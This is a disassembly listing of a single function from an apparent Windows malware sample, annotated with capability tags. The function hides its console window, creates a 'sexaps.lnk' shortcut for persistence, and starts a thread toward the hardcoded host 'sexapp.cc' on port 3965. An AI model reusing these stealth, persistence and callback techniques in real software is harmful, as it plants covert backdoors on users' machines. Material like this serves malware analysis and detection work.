Function at 0x14000a110
Capabilities:
Create shortcut via ishelllink
Create thread
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x490
mov rax, qword [0x1403622b0]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rsi, rdx
mov edi, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140224a20]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
lea rax, [rsp + 0x40]
lea r9, [0x14032c2a8]
mov qword [rsp + 0x20], rax
lea rcx, [0x140224a30]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x14000a223
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x60]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x48]
lea rdx, [0x14032c298]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
js 0x14000a218
mov r9, qword [rsp + 0x50]
lea r8, str._s_sexaps.lnk
mov edx, 0x104
lea rcx, [rsp + 0x270]
call fcn.14000a5d0
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x270]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 0xffffffec
mov rbx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov edx, 0xffffffec
mov rcx, rbx
bts eax, 7
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongW]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r9d, 0xffff8300
mov dword [rsp + 0x30], 0x85
xor ebp, ebp
mov r8d, r9d
mov dword [rsp + 0x28], ebp
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], ebp
mov rbx, rax
call qword [sym.imp.USER32.dll_SetWindowPos]
mov dword [rsp + 0x30], 0xa7
xor r9d, r9d
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebp
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowPos]
cmp edi, 1
jge 0x14000a307
mov r8, qword [rsi]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rbp
lea r9d, [rbp - 1]
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], 0x104
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rdx, [rsp + 0x60]
lea rcx, str.Usage:_n__s__Host___Port__n
call fcn.1400052a0
lea rcx, str.pause
call fcn.1401f597c
lea eax, [rbp - 1]
jmp 0x14000a3ae
lea rax, str.sexapp.cc
mov ecx, 0x42
mov qword [rsi + 8], rax
lea rax, str.3965
mov qword [rsi + 0x10], rax
call fcn.1401df0d8
mov qword [rsp + 0x50], rax
mov edx, 0x20
mov r8, qword [rsi + 8]
mov rcx, rax
mov rbx, qword [rsi + 0x10]
mov rdi, rax
call fcn.1401f5ac4
mov qword [rsp + 0x38], rbp
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rbp
mov r9d, 0xffffffff
mov dword [rsp + 0x28], 0xa
mov r8, rbx
xor edx, edx
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [rsp + 0x50]
call fcn.1401f58cc
mov r9, rdi
mov qword [rsp + 0x28], rbp
lea r8, [0x14000a3e0]
mov word [rdi + 0x40], ax
xor edx, edx
mov dword [rsp + 0x20], ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.1401df0b0
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret